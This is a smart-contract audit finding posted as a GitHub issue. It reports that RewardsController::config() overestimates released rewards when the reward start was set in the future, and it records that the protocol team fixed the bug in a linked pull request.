Source: https://github.com/sherlock-audit/2024-04-interest-rate-model-judging/issues/245

Found by

0x73696d616f, AllTooWell, Trumpero, ether_sky

Summary

Setting new parameters in `RewardsController::config()` will lead to lost rewards if `block.timestamp > start` and the `rewardData.start` was set in the future initially.

Vulnerability Detail

When `RewardsController::config()` is called to update the data of a reward, as it was already set initially, it will go into the `else` branch. In here, it updates the `rewardRate` according to the previously distributed rewards, the total distribution and the distribution periods. More precisely, the calculation is:

```
...
if (block.timestamp > start) {
  released =
    rewardData.lastConfigReleased +
    rewardData.releaseRate *
    (block.timestamp - rewardData.lastConfig);
  elapsed = block.timestamp - start;
  if (configs[i].totalDistribution <= released || configs[i].distributionPeriod
↪   <= elapsed) {
    revert InvalidConfig();
  }
  rewardData.lastConfigReleased = released;
}

rewardData.releaseRate =
  (configs[i].totalDistribution - released) /
  (configs[i].distributionPeriod - elapsed);
...
```

It calculates the release pro-rata to `block.timestamp - rewardData.lastConfig`, considering the time that the rewards have been emitted, but this is incorrect when `rewardData.start` was set in the future when creating the initial config. This will lead to the overestimation of released rewards, which will lower the `rewardData.releaseRate`, as it is pro-rata to `configs[i].totalDistribution - released`. Thus, less rewards will be distributed than expected.

Impact

Lost of rewards for users that will receive less than supposed.

Code Snippet

https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/main/protocol/contracts/RewardsController.sol#L681 https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/main/protocol/contracts/RewardsController.sol#L699

Tool used

Manual Review

Vscode

Recommendation

The release rewards are `rewardData.releaseRate * (block.timestamp - rewardData.start);`.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits: https://github.com/exactly/protocol/pull/725

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Disclaimers

Sherlock does not provide guarantees nor warranties relating to the security of the project.

Usage of all smart contract software is at the respective users’ sole risk and is the users’ responsibility.